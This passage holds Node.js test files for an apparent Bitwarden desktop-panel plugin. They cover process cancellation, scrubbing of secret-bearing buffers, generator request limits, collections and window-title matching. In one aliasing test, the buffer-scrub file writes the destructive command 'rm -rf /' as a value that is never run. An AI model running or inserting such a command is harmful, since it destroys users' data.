XDG_RUNTIME_DIR: cancelRuntime,
QSBW_PREWARM_SCRIPT: unlock[2],
QSBW_STUB_CHILD_PID: childPid,
QSBW_CANCEL_OUTPUT: path.join(cancelTemp, "output"),
QSBW_CANCEL_ERROR: path.join(cancelTemp, "error"),
}),
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
})
check("cancelling prewarm stops the wrapper and bw child and removes the FIFO",
result === "yes yes yes", result)
} catch (errorCaught) {
failures.push(`cancelling prewarm completes cleanly\n ${errorCaught.stderr || errorCaught.message}`)
} finally {
fs.rmSync(cancelTemp, { recursive: true, force: true })
}
}
// API-key login does not use a password FIFO, but it still runs through the
// same cancellable Process. Stopping that Process must terminate the active bw
// child rather than orphaning an authentication attempt behind the panel.
if (Model.apiKeyLoginCommand) {
const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-apikey-cancel-"))
const cancelBin = path.join(cancelTemp, "bin")
fs.mkdirSync(cancelBin)
const childPid = path.join(cancelTemp, "child-pid")
fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash
printf '%s' "$$" > "$QSBW_STUB_CHILD_PID"
sleep 30
`)
fs.chmodSync(path.join(cancelBin, "bw"), 0o755)
try {
const result = execFileSync("bash", ["-c", `
set -u
bash -c "$QSBW_APIKEY_SCRIPT" >/dev/null 2>&1 &
auth_pid=$!
for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done
[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8
bw_pid=$(cat "$QSBW_STUB_CHILD_PID")
kill -TERM "$auth_pid"
parent_stopped=no
for unused in {1..200}; do
if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi
sleep 0.01
done
if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi
wait "$auth_pid" 2>/dev/null || true
child_stopped=no
for unused in {1..200}; do
if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi
sleep 0.01
done
if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi
printf '%s %s' "$parent_stopped" "$child_stopped"
`], {
env: Object.assign({}, process.env, {
PATH: `${cancelBin}:${process.env.PATH}`,
QSBW_APIKEY_SCRIPT: Model.apiKeyLoginCommand("")[2],
QSBW_STUB_CHILD_PID: childPid,
}),
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
})
check("cancelling API-key login stops the wrapper and active bw child",
result === "yes yes", result)
} catch (errorCaught) {
failures.push(`cancelling API-key login completes cleanly\n ${errorCaught.stderr || errorCaught.message}`)
} finally {
fs.rmSync(cancelTemp, { recursive: true, force: true })
}
}
// The QML lifecycle is part of the security boundary: start early, write only
// on submit, and stop a waiting process when the panel closes.
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const bodyOf = name => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
check("opening an already-locked panel starts unlock prewarming",
/prepareUnlock\(\)/.test(bodyOf("onPanelOpened")), bodyOf("onPanelOpened"))
check("submitting unlock writes to the prepared FIFO",
/writeAuthPassword\("unlock",\s*p\)/.test(bodyOf("unlockVaultWithPassword")), bodyOf("unlockVaultWithPassword"))
check("closing the panel cancels auth prewarming",
/cancelAuthPrewarm/.test(bodyOf("close")), bodyOf("close"))
check("an unreadable status result cancels a prewarm that can no longer be used",
/if\s*\(!st\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")),
bodyOf("onStatusFinished"))
check("an externally unlocked status cancels the obsolete locked-state prewarm",
/if\s*\(st\.unlocked\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")),
bodyOf("onStatusFinished"))
check("master-password validation preserves whitespace",
/var p\s*=\s*String\(/.test(bodyOf("unlockVaultWithPassword"))
&& !/var p\s*=\s*String\([^\n]+\.trim\(\)/.test(bodyOf("unlockVaultWithPassword")),
bodyOf("unlockVaultWithPassword"))
check("focusing the email-login password field prepares login",
/id:\s*loginPassField[\s\S]{0,700}onActiveFocusChanged:[\s\S]{0,160}prepareEmailLogin/.test(panelSrc),
"loginPassField has no prewarm focus handler")
const prepareEmail = bodyOf("prepareEmailLogin")
check("a custom server is not configured by focus-only prewarming",
/var serverUrl\s*=\s*resolvedLoginServerUrl\(\)/.test(prepareEmail)
&& /if\s*\(serverUrl\)\s*return/.test(prepareEmail)
&& prepareEmail.indexOf("resolvedLoginServerUrl") < prepareEmail.indexOf("loginProc.command"),
prepareEmail)
check("submitting while an obsolete login prewarm stops queues a clean restart",
/loginSubmitAfterPrewarmStop\s*=\s*true/.test(bodyOf("submitLogin"))
&& /loginProc\.running\s*=\s*false/.test(bodyOf("submitLogin")),
bodyOf("submitLogin"))
const loginProcBlock = panelSrc.slice(panelSrc.indexOf("id: loginProc"), panelSrc.indexOf("id: authPasswordWriterProc"))
// The dispatch lives in resumeDeferredLogin() so both ways the process can end
// -- its own exit, and the buffer scrub that may follow it -- go through it.
// A scrub that returned early used to drop the queued login silently.
const resumeDeferredBlock = bodyOf("resumeDeferredLogin")
check("the obsolete prewarm exit starts the queued login instead of consuming its result",
/loginSubmitAfterPrewarmStop[\s\S]*submitLogin/.test(resumeDeferredBlock)
&& /resumeDeferredLogin\(true\)/.test(loginProcBlock),
resumeDeferredBlock)
check("a queued login survives the buffer scrub taking the process first",
/finishScrubRun\(loginProc\)\)\s*\{[\s\S]{0,140}resumeDeferredLogin\(false\)/.test(loginProcBlock),
loginProcBlock)
check("focusing during prewarm shutdown queues another prewarm",
/loginPrepareAfterPrewarmStop\s*=\s*true/.test(bodyOf("prepareEmailLogin")),
bodyOf("prepareEmailLogin"))
check("the stopped process services a queued prewarm when no submit is waiting",
/loginPrepareAfterPrewarmStop[\s\S]*prepareEmailLogin/.test(resumeDeferredBlock),
resumeDeferredBlock)
check("a cancelled login with no queued restart scrubs any token that won the exit race",
/else if \(mayScrub\) \{\s*\n\s*clearProcessCollectorSoon\(loginProc\)/.test(resumeDeferredBlock),
resumeDeferredBlock)
// The scrub is the fallback, so a queued restart must be preferred to it --
// otherwise the restart is what gets dropped.
check("a queued restart is dispatched in preference to the scrub",
resumeDeferredBlock.indexOf("loginSubmitAfterPrewarmStop")
< resumeDeferredBlock.indexOf("clearProcessCollectorSoon"),
resumeDeferredBlock)
const unlockProcBlock = panelSrc.slice(panelSrc.indexOf("id: unlockProc"), panelSrc.indexOf("id: logoutProc"))
check("a cancelled unlock scrubs any token that won the exit race",
/!root\.unlockSubmitted[\s\S]{0,120}clearProcessCollectorSoon\(unlockProc\)/.test(unlockProcBlock),
unlockProcBlock)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,303 @@
#!/usr/bin/env node
// Two things a lock and a logout were leaving behind.
//
// node tests/buffer-scrub.test.js
//
// 1. A StdioCollector keeps whatever its process last printed until that
// process runs again, so every secret that has come back through a pipe
// outlives the lock that was supposed to end it. Emptying one means
// running a command through it that prints nothing, which is what these
// assertions describe: what that command is, how a handler recognises a
// run of it, and which processes a pass over the queue touches.
// 2. The generator port is loopback and first-come, and QML's
// XMLHttpRequest has no timeout of its own. What bounds a request to a
// squatter is checked here; its cancellation and restart lifecycle is
// checked in tests/generator.test.js.
const fs = require("fs")
const path = require("path")
const panelSource = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const panelBodyOf = (name) => {
const start = panelSource.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSource.indexOf("{", start); i < panelSource.length; i++) {
if (panelSource[i] === "{") depth++
else if (panelSource[i] === "}" && --depth === 0) return panelSource.slice(start, i + 1)
}
return ""
}
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.scrubCommand = scrubCommand
exports.isScrubCommand = isScrubCommand
exports.scrubPass = scrubPass
exports.finishScrub = finishScrub
exports.scrubRetryMs = scrubRetryMs
exports.generatorResponseCap = generatorResponseCap
exports.generatorRequestTimeoutMs = generatorRequestTimeoutMs
exports.generateServeRequestCommand = generateServeRequestCommand
exports.generatorResponseTooLarge = generatorResponseTooLarge
exports.generatorPortIsForeign = generatorPortIsForeign
exports.generatorProbeIsForeign = generatorProbeIsForeign
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// ---------------------------------------------------------------------------
// The scrub command
// ---------------------------------------------------------------------------
const scrub = Model.scrubCommand()
check("the scrub command prints nothing",
scrub.length === 3 && scrub[0] === "bash" && scrub[1] === "-c" && scrub[2] === "",
`got ${JSON.stringify(scrub)}`)
check("a fresh array each time, so one process cannot alias another's",
Model.scrubCommand() !== Model.scrubCommand(),
"scrubCommand() returned the same array twice")
check("mutating what a caller was given does not change the next one",
(() => { const c = Model.scrubCommand(); c[2] = "rm -rf /"; return Model.scrubCommand()[2] === "" })(),
"the shared array leaked")
check("the scrub command is recognised as one",
Model.isScrubCommand(Model.scrubCommand()) === true, "not recognised")
check("a real bw command is not",
Model.isScrubCommand(["bw", "list", "items"]) === false, "bw list read as a scrub")
check("nor is a command that merely starts the same way",
Model.isScrubCommand(["bash", "-c", "bw list items"]) === false, "a bash command read as a scrub")
check("nor a shorter one",
Model.isScrubCommand(["bash", "-c"]) === false, "a truncated command read as a scrub")
check("nor a longer one",
Model.isScrubCommand(["bash", "-c", "", "extra"]) === false, "a padded command read as a scrub")
// A Process that has never run reports an empty command, and one that is
// missing entirely is what a typo in the process list looks like. Neither is a
// scrub, and neither may throw: this runs inside a signal handler.
check("an empty command is not a scrub", Model.isScrubCommand([]) === false, "empty read as a scrub")
check("an absent command is not a scrub", Model.isScrubCommand(null) === false, "null read as a scrub")
check("an undefined command is not a scrub",
Model.isScrubCommand(undefined) === false, "undefined read as a scrub")
// QML hands JS a QStringList, whose members arrive as strings but whose
// identity is not a plain Array.
check("a list-like command is read the same as an array",
Model.isScrubCommand({ length: 3, 0: "bash", 1: "-c", 2: "" }) === true,
"a QStringList-shaped command was not recognised")
// ---------------------------------------------------------------------------
// One pass over the queue
// ---------------------------------------------------------------------------
const idle = (cmd) => ({ running: false, command: cmd })
const busy = (cmd) => ({ running: true, command: cmd })
{
const p = Model.scrubPass([idle(["bw", "list", "items"])])
check("an idle process with a real command is scrubbed now",
p.start.length === 1, `start=${p.start.length}`)
check("and is asked about again, to confirm the scrub finished",
p.waiting.length === 1, `waiting=${p.waiting.length}`)
}
{
const p = Model.scrubPass([busy(["bw", "list", "items"])])
check("a process still reading is not scrubbed out from under itself",
p.start.length === 0, `start=${p.start.length}`)
check("but stays in the queue for the next pass",
p.waiting.length === 1, `waiting=${p.waiting.length}`)
}
{
const p = Model.scrubPass([idle(Model.scrubCommand())])
check("a process already scrubbed is left alone",
p.start.length === 0, `start=${p.start.length}`)
check("and drops out of the queue",
p.waiting.length === 0, `waiting=${p.waiting.length}`)
}
{
// The scrub itself is still running on the pass right after it was started.
const p = Model.scrubPass([busy(Model.scrubCommand())])
check("a scrub in flight is waited on rather than started again",
p.start.length === 0 && p.waiting.length === 1,
`start=${p.start.length} waiting=${p.waiting.length}`)
}
{
const running = busy(["bw", "get", "item", "x"])
const p = Model.scrubPass([idle(["bw", "list", "items"]), running, idle(Model.scrubCommand())])
check("a mixed queue starts only what it can",
p.start.length === 1, `start=${p.start.length}`)
check("and carries the rest that is not finished",
p.waiting.length === 2 && p.waiting.indexOf(running) !== -1,
`waiting=${p.waiting.length}`)
}
check("an empty queue is a no-op",
Model.scrubPass([]).start.length === 0 && Model.scrubPass([]).waiting.length === 0,
"empty queue did something")
check("and so is a missing one",
Model.scrubPass(null).waiting.length === 0, "null queue threw or produced work")
check("a hole in the process list is skipped rather than thrown on",
Model.scrubPass([null, idle(["bw", "sync"])]).start.length === 1,
"a null entry stopped the pass")
// The retry exists for processes that were mid-read. It must keep the process
// queued until the empty scrub run finishes, even if a completion handler
// immediately reuses that same Process for another command.
check("the retry is spaced in seconds, not milliseconds",
Model.scrubRetryMs() >= 250, `retry every ${Model.scrubRetryMs()}ms`)
check("the retry never abandons a collector that is still being written",
/if\s*\(!root\.scrubPending\.length\)\s*stop\(\)/.test(panelSource)
&& !/scrubRetryLimit/.test(panelSource),
"the scrub timer can stop with a process still in its queue")
{
const late = busy(["bw", "unlock"])
let p = Model.scrubPass([late])
late.running = false
p = Model.scrubPass(p.waiting)
late.command = Model.scrubCommand()
late.running = false
const queue = Model.finishScrub(p.waiting, late)
// unlockProc does this from its scrub completion handler: the collector is
// clean, then prewarming immediately reuses the Process. Queue completion
// must not depend on observing its command afterward.
late.command = ["bw", "unlock", "--passwordfile", "fifo"]
late.running = true
check("a completed scrub drains before its Process is immediately reused",
p.start.length === 1 && queue.length === 0,
`started=${p.start.length} remaining=${queue.length}`)
}
check("Panel completion handlers dequeue scrubbed processes explicitly",
/function\s+finishScrubRun\s*\(proc\)/.test(panelSource)
&& /scrubPending\s*=\s*Model\.finishScrub\(scrubPending,\s*proc\)/.test(panelSource),
"Panel does not record scrub completion independently of Process reuse")
check("a one-shot password copy scrubs its collector immediately after use",
/clearProcessCollectorSoon\(copyPasswordProc\)/.test(panelBodyOf("onPasswordCopyFinished")),
panelBodyOf("onPasswordCopyFinished"))
check("a TOTP read also scrubs its collector after copying the value into active state",
/continueTotpQueue\(false\)/.test(panelBodyOf("onTotpProcessExited"))
&& /!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test(
panelBodyOf("continueTotpQueue")),
panelBodyOf("onTotpProcessExited") + "\n" + panelBodyOf("continueTotpQueue"))
const totpProcBlock = panelSource.slice(panelSource.indexOf("id: getTotpProc"),
panelSource.indexOf("id: copyPasswordProc"))
const totpScrubCheck = totpProcBlock.indexOf("finishScrubRun(getTotpProc)")
const totpScrubResume = totpProcBlock.indexOf("continueTotpQueue(true)")
const totpScrubReturn = totpProcBlock.indexOf("return", totpScrubResume)
const totpNormalExit = totpProcBlock.indexOf("onTotpProcessExited")
check("a TOTP scrub exits without recursively scheduling another scrub",
totpScrubCheck !== -1 && totpScrubCheck < totpScrubResume
&& totpScrubResume < totpScrubReturn && totpScrubReturn < totpNormalExit,
totpProcBlock)
check("a queued real TOTP request replaces the collector instead of racing an empty scrub",
/if\s*\(queued\)[\s\S]*startTotpFetch\(queued\)[\s\S]*!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test(
panelBodyOf("continueTotpQueue")),
panelBodyOf("continueTotpQueue"))
check("a request queued during a TOTP scrub is resumed after that scrub exits",
/getTotpProc\.running[\s\S]*totpQueuedItemId\s*=/.test(panelBodyOf("fetchTotp"))
&& /finishScrubRun\(getTotpProc\)[\s\S]*continueTotpQueue\(true\)/.test(totpProcBlock),
panelBodyOf("fetchTotp") + "\n" + totpProcBlock)
check("the deferred TOTP restart reserves the Process against a newer direct start",
/getTotpProc\.running\s*\|\|\s*totpRestartPending/.test(panelBodyOf("fetchTotp"))
&& /totpRestartPending\s*=\s*true[\s\S]*totpRequestItemId\s*=\s*queued[\s\S]*Qt\.callLater/.test(
panelBodyOf("continueTotpQueue"))
&& /totpRestartPending\s*=\s*false/.test(panelBodyOf("dropVaultSecrets")),
panelBodyOf("fetchTotp") + "\n" + panelBodyOf("continueTotpQueue"))
// ---------------------------------------------------------------------------
// Generator request bounds
// ---------------------------------------------------------------------------
const cap = Model.generatorResponseCap()
check("the response cap is far above a generated password",
cap >= 4096, `cap is ${cap} bytes`)
check("and far below anything that would hurt to hold",
cap <= 1024 * 1024, `cap is ${cap} bytes`)
check("the request deadline is short enough to be a loopback deadline",
Model.generatorRequestTimeoutMs() > 0 && Model.generatorRequestTimeoutMs() <= 10000,
`deadline is ${Model.generatorRequestTimeoutMs()}ms`)
check("a real answer is under the cap",
Model.generatorResponseTooLarge("67", 67) === false, "a 67-byte answer was refused")
check("a declared length past the cap is refused before the body arrives",
Model.generatorResponseTooLarge(String(cap + 1), 0) === true,
"an oversized Content-Length was accepted")
check("a body past the cap is refused however much was declared",
Model.generatorResponseTooLarge("10", cap + 1) === true,
"an oversized body was accepted")
check("a chunked response declares nothing and is judged on what arrives",
Model.generatorResponseTooLarge("", 12) === false && Model.generatorResponseTooLarge("", cap + 1) === true,
"the chunked case was misjudged")
check("an absent Content-Length is not read as an enormous one",
Model.generatorResponseTooLarge(null, 12) === false, "a missing header refused a small body")
check("nor is a garbage one",
Model.generatorResponseTooLarge("not-a-number", 12) === false, "an unparseable header refused a small body")
// The port check, once a request can be cut short. status 0 is both "nothing
// answered" and "we hung up", and only the first of those leaves the port free.
check("a refused connection leaves the port free",
Model.generatorProbeIsForeign(0, false) === false, "a refused connection read as occupied")
check("any HTTP answer means someone is already bound",
Model.generatorProbeIsForeign(200, false) === true && Model.generatorProbeIsForeign(404, false) === true,
"an HTTP answer read as a free port")
check("a request we had to cut short means someone is already bound",
Model.generatorProbeIsForeign(0, true) === true,
"an aborted probe read as a free port -- a stalling squatter would get our trust")
check("even one that answered before stalling",
Model.generatorProbeIsForeign(200, true) === true, "an aborted probe read as free")
// Process-based probe checks (curl exit codes)
check("curl CURLE_COULDNT_CONNECT (exit 7) with empty stdout indicates a free port",
Model.generatorProbeIsForeign(7, "") === false, "curl exit 7 was read as occupied")
check("curl exit 0 with HTTP response indicates an occupied port",
Model.generatorProbeIsForeign(0, '{"success":true}') === true, "curl exit 0 was read as free")
check("curl timeout (exit 28) indicates an occupied (stalling) port",
Model.generatorProbeIsForeign(28, "") === true, "curl timeout was read as free")
check("curl write error / truncation (exit 23) indicates an occupied (flooding) port",
Model.generatorProbeIsForeign(23, "") === true, "curl exit 23 was read as free")
// Producer-side bounding of generateServeRequestCommand
const serveReqCmd = Model.generateServeRequestCommand({ length: 16 })
check("generateServeRequestCommand uses curl with timeout and head -c byte cap",
serveReqCmd[2].includes("curl -q -s -S") && serveReqCmd[2].includes("--max-time 2") && serveReqCmd[2].includes(`head -c ${cap}`),
serveReqCmd[2])
// ---------------------------------------------------------------------------
if (failures.length) {
console.error(`\n${failures.length} failure(s):\n`)
failures.forEach((f) => console.error(` ✗ ${f}\n`))
process.exit(1)
}
console.log(`buffer-scrub: ${pass} checks passed`)
@@ -0,0 +1,87 @@
#!/usr/bin/env node
// Tests for organization collections on the item form.
//
// Field names were read from a real `bw list org-collections` response
// (id / organizationId / name / externalId / object) and from the item
// template, which carries collectionIds.
//
// node tests/collections.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.listOrgCollectionsCommand = listOrgCollectionsCommand
exports.parseCollections = parseCollections
exports.collectionName = collectionName
exports.buildCreatePayload = buildCreatePayload
exports.buildEditPayload = buildEditPayload
exports.validateItemForm = validateItemForm
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// --- command ---
check("collections are listed per organization with a producer-side byte limit",
Model.listOrgCollectionsCommand("o1").join(" ").includes("bw list org-collections --organizationid o1")
&& Model.listOrgCollectionsCommand("o1").join(" ").includes("head -c"),
Model.listOrgCollectionsCommand("o1").join(" "))
check("the session is not on the command line",
!Model.listOrgCollectionsCommand("o1").join(" ").includes("--session"), "expected no --session")
// --- parsing ---
const cols = Model.parseCollections(JSON.stringify([
{ object: "org-collection", id: "c2", organizationId: "o1", name: "Ops", externalId: null },
{ object: "org-collection", id: "c1", organizationId: "o1", name: "admin", externalId: null },
{ object: "org-collection", name: "no id at all" },
]))
check("collections sort case-insensitively", cols.map(c => c.name).join(",") === "admin,Ops", cols.map(c => c.name).join(","))
check("an entry without an id is dropped", cols.length === 2, JSON.stringify(cols))
check("organizationId is carried through", cols[0].organizationId === "o1", JSON.stringify(cols[0]))
check("malformed JSON yields an empty list",
Model.parseCollections("{{").length === 0 && Model.parseCollections("").length === 0, "expected []")
check("collectionName resolves a known id", Model.collectionName(cols, "c2") === "Ops", Model.collectionName(cols, "c2"))
check("collectionName is empty for an unknown id", Model.collectionName(cols, "zz") === "", "expected empty")
// --- payloads ---
// A personal item has no collections; sending the key at all would be wrong.
check("a personal item carries no collectionIds",
!("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, null, null, ["c1"])),
"expected the key to be absent")
check("an org item carries the chosen collections",
JSON.stringify(Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null, ["c1", "c2"]).collectionIds)
=== JSON.stringify(["c1", "c2"]), "expected both ids")
// Callers that predate collections pass ten arguments; they must not start
// sending an empty array, which is not the same as sending nothing.
check("an org item with no collections omits the key rather than sending []",
!("collectionIds" in Model.buildCreatePayload(1, "n", "", "", "", "", "", false, "o1", null)),
"expected the key to be absent")
const existing = { rawObject: { id: "1", type: 1, organizationId: "o1", collectionIds: ["keep"], login: {} } }
check("editing keeps existing collections when none are supplied",
JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null).collectionIds)
=== JSON.stringify(["keep"]), "expected the existing ids to survive")
check("editing replaces collections when new ones are supplied",
JSON.stringify(Model.buildEditPayload(existing, "n", "", "", "", "", "", false, "o1", null, ["c9"]).collectionIds)
=== JSON.stringify(["c9"]), "expected the new ids")
check("moving an item to a personal vault drops its collections",
!("collectionIds" in Model.buildEditPayload(existing, "n", "", "", "", "", "", false, null, null, [])),
"expected the key to be removed")
// --- validation ---
// Bitwarden rejects an org item with no collection, so say so before the CLI does.
check("an org item with no collection is refused",
Model.validateItemForm("n", "o1", []) !== "", Model.validateItemForm("n", "o1", []))
check("an org item with a collection is accepted",
Model.validateItemForm("n", "o1", ["c1"]) === "", Model.validateItemForm("n", "o1", ["c1"]))
check("a personal item needs no collection",
Model.validateItemForm("n", null, []) === "" && Model.validateItemForm("n", "personal", []) === "",
"expected personal items to pass")
check("a blank title is still refused first",
Model.validateItemForm(" ", "o1", ["c1"]).includes("title"), Model.validateItemForm(" ", "o1", ["c1"]))
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,329 @@
#!/usr/bin/env node
// Regression tests for the context-aware suggestion matcher in BitwardenModel.js.
//
// The matcher is heuristic and works from window titles alone, so it is easy to
// regress in both directions: too strict and the right login stops appearing,
// too loose and every .com item is suggested on every site. Run with:
//
// node tests/context-match.test.js
const fs = require("fs")
const path = require("path")
const src = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
const Model = {}
new Function("exports", src.replace(/^\.pragma library\s*$/m, "") + `
exports.findContextualMatches = findContextualMatches
exports.cleanWindowContext = cleanWindowContext
exports.parseHost = parseHost
exports.parseAssociations = parseAssociations
exports.serializeAssociations = serializeAssociations
exports.recordAssociation = recordAssociation
exports.forgetAssociation = forgetAssociation
exports.isAssociated = isAssociated
exports.emptyAssociations = emptyAssociations
exports.MAX_TITLE_CHARS = MAX_TITLE_CHARS
exports.MAX_ASSOC_BYTES = MAX_ASSOC_BYTES
`)(Model)
const items = [
{ id: "1", name: "GitHub", uris: ["https://github.com"] },
{ id: "2", name: "Amazon", uris: ["https://www.amazon.com"] },
{ id: "3", name: "Home Assistant",uris: ["https://homeassistant.local:8123"] },
{ id: "4", name: "Google", uris: ["https://accounts.google.com"] },
{ id: "5", name: "Reddit", uris: ["https://reddit.com"] },
{ id: "6", name: "Proton Mail", uris: ["https://account.proton.me"] },
{ id: "7", name: "Cloudflare", uris: ["https://dash.cloudflare.com"] },
{ id: "8", name: "My Bank", uris: ["https://www.chase.com"] },
{ id: "9", name: "Netflix", uris: ["https://www.netflix.com"] },
{ id: "10", name: "Jellyfin", uris: ["http://192.168.1.50:8096"] },
{ id: "11", name: "GitHub (work)", uris: ["https://github.com"] },
{ id: "12", name: "BBC iPlayer", uris: ["https://www.bbc.co.uk"] },
{ id: "13", name: "Discord", uris: ["https://discord.com"] },
{ id: "14", name: "Slack", uris: ["https://acme.slack.com"] },
{ id: "15", name: "Spotify", uris: ["https://open.spotify.com"] },
{ id: "16", name: "Nextcloud", uris: ["https://cloud.example.org"] },
{ id: "17", name: "Router Admin", uris: ["http://192.168.1.1"] },
{ id: "18", name: "AWS Console", uris: ["https://console.aws.amazon.com"] },
]
// [window class, window title, expected suggestion names]
const cases = [
// Site name lives in the title but the domain does not -- the common case.
["chromium", "Settings – Home Assistant - Chromium", ["Home Assistant"]],
["chromium", "Reddit - Dive into anything - Chromium", ["Reddit"]],
["chromium", "Netflix - Chromium", ["Netflix"]],
["chromium", "Proton Mail - Chromium", ["Proton Mail"]],
["chromium", "Cloudflare Dashboard - Chromium", ["Cloudflare"]],
["chromium", "Chase Online - Credit Cards, Mortgages, Auto - Chromium", ["My Bank"]],
["chromium", "Jellyfin - Chromium", ["Jellyfin"]],
["chromium", "Files - Nextcloud - Chromium", ["Nextcloud"]],
["chromium", "Acme Corp Slack - Chromium", ["Slack"]],
["chromium", "Spotify – Web Player - Chromium", ["Spotify"]],
["chromium", "AWS Management Console - Chromium", ["AWS Console"]],
["firefox", "BBC iPlayer - Home — Mozilla Firefox", ["BBC iPlayer"]],
["chromium", "Discord | #general | My Server - Chromium", ["Discord"]],
// Sign-in prefixes, unread counters and browser branding are noise.
["firefox", "Sign in to GitHub · GitHub — Mozilla Firefox", ["GitHub", "GitHub (work)"]],
["chromium", "(3) Inbox (1,204) - me@gmail.com - Gmail - Chromium", ["Google"]],
// Brand alias: the title never says "google".
["chromium", "Gmail - Chromium", ["Google"]],
["chromium", "Untitled document - Google Docs - Chromium", ["Google"]],
// A domain in the title must not drag in every item sharing its TLD.
["chromium", "Amazon.com. Spend less. Smile more. - Chromium", ["Amazon", "AWS Console"]],
// Nothing identifiable: suggest nothing rather than guess.
["chromium", "New Tab - Chromium", []],
["chromium", "Sign in - Chromium", []],
["chromium", "How to fix config.json v1.2 errors - Stack Overflow - Chromium", []],
// Terminals: local shells describe a machine, not a credential.
["foot", "workstation: notes", []],
// ...and a remote host must not match a different domain sharing a label.
["foot", "ssh user@git.example.com", []],
// Native desktop apps match on window class.
["discord", "Discord | #general", ["Discord"]],
["spotify", "Spotify Premium", ["Spotify"]],
]
// A large vault of .com sites: a single site must not suggest all of them.
const floodItems = ["github","amazon","google","reddit","proton","cloudflare","chase",
"netflix","discord","slack","spotify","dropbox","twitch","ebay","paypal","stripe",
"linode","digitalocean","namecheap","fastmail","zoom","notion","figma","linear",
"vercel","heroku","atlassian","gitlab","bitbucket","sentry","datadog","okta",
"auth0","twilio","sendgrid","mailgun","shopify","squarespace","wordpress","medium"]
.map((b, i) => ({ id: String(i), name: b, uris: ["https://www." + b + ".com"] }))
let pass = 0
const failures = []
function check(label, ok, detail) {
if (ok) { pass++ } else { failures.push(label + "\n " + detail) }
}
const sshLike = { id: "ssh-public", name: "GitHub deploy key", typeCode: 5,
uris: ["https://github.com"], publicKey: "ssh-ed25519 AAAA" }
check("context suggestions exclude SSH public records",
Model.findContextualMatches(items.concat([sshLike]),
{ class: "chromium", title: "GitHub - Chromium", mapped: true }).matches.every(m => m.id !== "ssh-public"),
"SSH key leaked into contextual suggestions")
for (const [cls, title, expected] of cases) {
const got = Model.findContextualMatches(items, { class: cls, title, mapped: true })
.matches.map(m => m.name).sort()
check(`[${cls}] ${title}`,
JSON.stringify(got) === JSON.stringify(expected.slice().sort()),
`expected [${expected}] but got [${got}]`)
}
for (const [title, max] of [["Amazon.com. Spend less. Smile more. - Chromium", 1],
["Some Random Blog Post About Nothing - Chromium", 0]]) {
const got = Model.findContextualMatches(floodItems, { class: "chromium", title, mapped: true }).matches
check(`flood: ${title}`, got.length <= max,
`expected at most ${max} suggestion(s) from a 40-item vault, got ${got.length}: [${got.map(g => g.name)}]`)
}
// Hostname parsing feeds every domain comparison.
for (const [host, root, base] of [
["github.com", "github", "github.com"],
["dash.cloudflare.com", "cloudflare", "cloudflare.com"],
["www.bbc.co.uk", "bbc", "bbc.co.uk"],
["homeassistant.local", "homeassistant", "homeassistant.local"],
["console.aws.amazon.com", "amazon", "amazon.com"],
]) {
const p = Model.parseHost(host)
check(`parseHost(${host})`, p && p.rootName === root && p.baseDomain === base,
`expected root=${root} base=${base}, got root=${p && p.rootName} base=${p && p.baseDomain}`)
}
// The most recently focused non-shell client wins in a `hyprctl clients` list.
const clients = [
{ class: "quickshell", title: "shell", focusHistoryID: 0, mapped: true },
{ class: "chromium", title: "Netflix - Chromium", focusHistoryID: 1, mapped: true },
{ class: "foot", title: "workstation: notes", focusHistoryID: 2, mapped: true },
]
check("clients list picks most recent non-shell window",
Model.findContextualMatches(items, clients).matches.map(m => m.name).join() === "Netflix",
`got [${Model.findContextualMatches(items, clients).matches.map(m => m.name)}]`)
// ---------------------------------------------------------------------------
// Learned associations
// ---------------------------------------------------------------------------
// The case that no title heuristic can solve: an authentik portal on
// auth.example.xyz titled "Home - authentik". The title and the stored URL
// share no word at all.
// Named so that neither the name nor the URL shares a word with the page title.
const authentikItem = { id: "auth-1", name: "Personal SSO", uris: ["https://auth.example.xyz"] }
const withAuthentik = items.concat([authentikItem])
const authentikWindow = { class: "chromium", title: "Home - authentik - Chromium", mapped: true }
let assoc = Model.emptyAssociations()
check("authentik: unmatched before learning",
